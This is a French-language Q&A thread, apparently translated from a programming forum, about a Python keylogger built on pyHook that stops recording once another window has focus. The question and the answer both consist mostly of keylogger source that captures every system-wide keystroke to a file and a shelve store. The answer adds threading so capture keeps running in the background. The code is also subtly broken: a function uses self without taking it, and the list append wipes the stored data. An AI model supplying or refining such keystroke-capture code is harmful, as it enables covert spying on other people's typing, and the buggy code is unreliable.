2016-04-29 8 views
0

donc j'écris un programme qui enregistre les frappes de touches et il fonctionne très bien jusqu'à ce que je clique loin de la boîte du programme. quand j'ai cliqué sur comme un navigateur de Cortana et commencé à taper, il a enregistré quelques traits puis complètement arrêté. Il n'a pas non plus jeté d'erreurs donc je ne sais pas comment le déboguer.pourquoi pythoncom.pumpmessages() cesse de fonctionner?

def run(self): 
    hm = pyHook.HookManager() 
    hm.KeyDown = self.OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

def OnKeyboardEvent(self,event): 
     ch=chr(event.Ascii) 
     #print [ch] 
     if ch in '\x00\x08': 
      val='/*'+event.Key+'*/' 
      if (val!=self.prev or ch=='\x08') and 'Capital' not in val: 
       print val, 
       self.writetofile(str(val)) 
       data=shelve.open('loggerinfo') 
       data['strokes']=data['strokes'].append(val) 
       data.close() 
       self.prev=val 
     else: 
      self.prev=ch 
      char=None 
      if ch=='\r': 
       char='/*return*/' 
      elif ch=='\t': 
       char='/*tab*/' 
      else: 
       char=ch 
      if char!=None: 
       print char, 
       self.writetofile(str(char)) 
       data=shelve.open('loggerinfo') 
       data['strokes']=data['strokes'].append(char) 
       data.close() 
     return True 

Je ne sais pas exactement ce que le problème pourrait être, car il ne génère pas d'erreur.

Répondre

1

Le problème est que votre fonction de rappel, OnKeyBoardEvent, doit retourner True/False avant que l'événement soit propagé au reste de votre système. C'est parce que pyHook est une interception de très bas niveau.

Comme je l'ai découvert récemment, si votre fonction prend trop de temps à renvoyer un True/False, pyHook arrêtera complètement d'intercepter les touches. Donc, ce que vous devriez faire, est de mettre en place un fil et de retourner immédiatement True. Cela permettra à tout ce que vous voulez faire exécuter de manière asynchrone.

Quelque chose comme ci-dessous. Vous voudrez peut-être vous pencher sur les verrous pour vous assurer que shelve n'est pas accessible par plus d'un thread à la fois.

import threading  

def run(self): 
    hm = pyHook.HookManager() 
    hm.KeyDown = self.OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

def ActOnEvent(event): 
    ch=chr(event.Ascii) 
    #print [ch] 
    if ch in '\x00\x08': 
     val='/*'+event.Key+'*/' 
     if (val!=self.prev or ch=='\x08') and 'Capital' not in val: 
      print val, 
      self.writetofile(str(val)) 
      data=shelve.open('loggerinfo') 
      data['strokes']=data['strokes'].append(val) 
      data.close() 
      self.prev=val 
    else: 
     self.prev=ch 
     char=None 
     if ch=='\r': 
      char='/*return*/' 
     elif ch=='\t': 
      char='/*tab*/' 
     else: 
      char=ch 
     if char!=None: 
      print char, 
      self.writetofile(str(char)) 
      data=shelve.open('loggerinfo') 
      data['strokes']=data['strokes'].append(char) 
      data.close()  

def OnKeyboardEvent(self,event): 
    threading.Thread(target=ActOnEvent, args=(event,)).start() 
    return True